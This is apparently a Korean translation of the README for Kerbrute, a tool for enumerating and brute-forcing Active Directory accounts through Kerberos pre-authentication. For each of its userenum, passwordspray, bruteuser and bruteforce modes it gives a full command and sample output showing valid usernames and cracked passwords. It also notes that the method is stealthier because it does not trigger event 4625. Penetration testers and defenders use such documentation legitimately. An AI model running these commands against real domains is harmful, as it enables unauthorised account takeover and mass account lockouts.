
Kerberos 사전 인증 무차별 대입 공격을 수행하는 도구
Kerberos 사전 인증을 통해 유효한 Active Directory 계정을 빠르게 무차별 대입하고 열거하는 도구입니다.
시작하려면 릴리스 페이지에서 최신 바이너리를 다운로드하세요.
이 도구는 몇 년 전 Heimdal Kerberos 클라이언트를 이용해 Linux에서 무차별 대입을 수행하기 위해 작성한 bash 스크립트에서 발전했습니다. Kerberos 클라이언트를 설치할 권한이 필요하지 않은 도구를 원했고, Kerberos의 순수 Go 구현인 gokrb5를 발견한 후 마침내 Go를 배워 이 도구를 작성하기로 결정했습니다.
Kerberos로 Windows 비밀번호를 무차별 대입하는 것은 제가 아는 다른 어떤 접근 방식보다 훨씬 빠르며, 사전 인증 실패 시 "전통적인" 계정 로그온 실패 이벤트 4625가 트리거되지 않으므로 잠재적으로 더 은밀합니다. Kerberos를 사용하면 KDC(도메인 컨트롤러)에 하나의 UDP 프레임만 전송하여 사용자 이름을 검증하거나 로그인을 테스트할 수 있습니다.
자세한 배경과 정보는 Troopers 2019 강연, "Fun with LDAP and Kerberos"(링크 추후 공개)를 확인하세요.
Kerbrute에는 세 가지 주요 명령어가 있습니다:
도메인(-d) 또는 도메인 컨트롤러(--dc)를 지정해야 합니다. 도메인 컨트롤러를 지정하지 않으면 DNS를 통해 KDC가 조회됩니다.
기본적으로 Kerbrute는 멀티스레드이며 10개의 스레드를 사용합니다. 이는 -t 옵션으로 변경할 수 있습니다.
출력은 stdout에 기록되지만, -o로 로그 파일을 지정할 수 있습니다.
기본적으로 실패는 기록되지 않지만, -v로 변경할 수 있습니다.
마지막으로, Kerbrute에는 --safe 옵션이 있습니다. 이 옵션을 활성화하면 계정이 잠긴 것으로 확인될 경우 다른 계정이 잠기는 것을 방지하기 위해 모든 스레드를 중단합니다.
help 명령어를 사용하면 더 많은 정보를 얻을 수 있습니다.
$ ./kerbrute -h
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop
This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts
Usage:
kerbrute [command]
Available Commands:
bruteforce Bruteforce username:password combos, from a file or stdin
bruteuser Bruteforce a single user's password from a wordlist
help Help about any command
passwordspray Test a single password against a list of users
userenum Enumerate valid domain usernames via Kerberos
version Display version info and quit
Flags:
--dc string The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
--delay int Delay in millisecond between each attempt. Will always use single thread if set
-d, --domain string The full domain to use (e.g. contoso.com)
--downgrade Force downgraded encryption type (arcfour-hmac-md5)
--hash-file string File to save AS-REP hashes to (if any captured), otherwise just logged
-h, --help help for kerbrute
-o, --output string File to write logs to. Optional.
--safe Safe mode. Will abort if any user comes back as locked out. Default: FALSE
-t, --threads int Threads to use (default 10)
-v, --verbose Log failures and errors
Use "kerbrute [command] --help" for more information about a command.
사용자 이름을 열거하기 위해 Kerbrute는 사전 인증 없이 TGT 요청을 보냅니다. KDC가 PRINCIPAL UNKNOWN 오류로 응답하면 사용자 이름이 존재하지 않는 것입니다. 그러나 KDC가 사전 인증을 요구하면 사용자 이름이 존재하는 것이므로 계속 진행합니다. 이로 인해 로그인 실패가 발생하지 않으므로 계정이 잠기지 않습니다. Kerberos 로깅이 활성화된 경우 Windows 이벤트 ID 4768이 생성됩니다.
root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:28:04 > Using KDC(s):
2019/03/06 21:28:04 > pdc01.lab.ropnop.com:88
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > [+] VALID USERNAME: [email protected]
2019/03/06 21:28:04 > Done! Tested 1001 usernames (2 valid) in 0.425 seconds
passwordspray를 사용하면 Kerbrute가 도메인 사용자 목록에 대해 수평적 무차별 대입 공격을 수행합니다. 이는 사용자가 많은 목록에서 하나 또는 두 개의 일반적인 비밀번호를 테스트할 때 유용합니다. 경고: 이는 실패한 로그인 횟수를 증가시키고 계정을 잠급니다. 이벤트 ID 4768 - Kerberos 인증 티켓(TGT)이 요청됨과 4771 - Kerberos 사전 인증 실패가 모두 생성됩니다.
root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:37:29 > Using KDC(s):
2019/03/06 21:37:29 > pdc01.lab.ropnop.com:88
2019/03/06 21:37:35 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > [+] VALID LOGIN: [email protected]:Password123
2019/03/06 21:37:37 > Done! Tested 2755 logins (2 successes) in 7.674 seconds
이는 사용자 이름에 대한 전통적인 무차별 대입 계정입니다. 잠금 정책이 없다고 확신하는 경우에만 실행하세요! 이벤트 ID 4768 - Kerberos 인증 티켓(TGT)이 요청됨과 4771 - Kerberos 사전 인증 실패가 모두 생성됩니다.
root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop
2019/03/06 21:38:24 > Using KDC(s):
2019/03/06 21:38:24 > pdc01.lab.ropnop.com:88
2019/03/06 21:38:27 > [+] VALID LOGIN: [email protected]:Summer2017
2019/03/06 21:38:27 > Done! Tested 1001 logins (1 successes) in 2.711 seconds
이 모드는 단순히 파일 또는 stdin에서 username:password 조합(username:password 형식)을 읽어 Kerberos 사전 인증으로 테스트합니다. 빈 줄이나 사용자 이름/비밀번호가 비어 있는 줄은 건너뜁니다. 이벤트 ID 4768 - Kerberos 인증 티켓(TGT)이 요청됨과 4771 - Kerberos 사전 인증 실패가 모두 생성됩니다.
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop
2019/05/11 18:40:56 > Using KDC(s):
2019/05/11 18:40:56 > pdc01.lab.ropnop.com:88
2019/05/11 18:40:56 > [+] VALID LOGIN: [email protected]:Password1234
2019/05/11 18:40:56 > Done! Tested 7 logins (1 successes) in 0.114 seconds
릴리스 페이지에서 Linux, Windows, Mac용 미리 컴파일된 바이너리를 다운로드할 수 있습니다. 최신 버전을 원한다면 Go로 설치할 수도 있습니다:
$ go get github.com/ropnop/kerbrute
저장소를 클론한 경우 Make 파일을 사용하여 일반적인 아키텍처용으로 컴파일할 수 있습니다:
$ make help
help: Show this help.
windows: Make Windows x86 and x64 Binaries
linux: Make Linux x86 and x64 Binaries
mac: Make Darwin (Mac) x86 and x64 Binaries
clean: Delete any binaries
all: Make Windows, Linux and Mac x86/x64 Binaries
$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64...
Building for linux 386...
Done.
Building for mac amd64...
Building for mac 386...
Done.
$ ls dist/
kerbrute_darwin_386 kerbrute_linux_386 kerbrute_windows_386.exe
kerbrute_darwin_amd64 kerbrute_linux_amd64 kerbrute_windows_amd64.exe
jcmturner의 순수 Go KRB5 구현에 큰 감사를 보냅니다: https://github.com/jcmturner/gokrb5 . 놀라운 프로젝트이며 문서화가 잘 되어 있습니다. 이 프로젝트 없이는 이 작업을 전혀 할 수 없었을 것입니다.
delay 옵션을 제안하고 구현해준 audibleblink에게도 감사드립니다!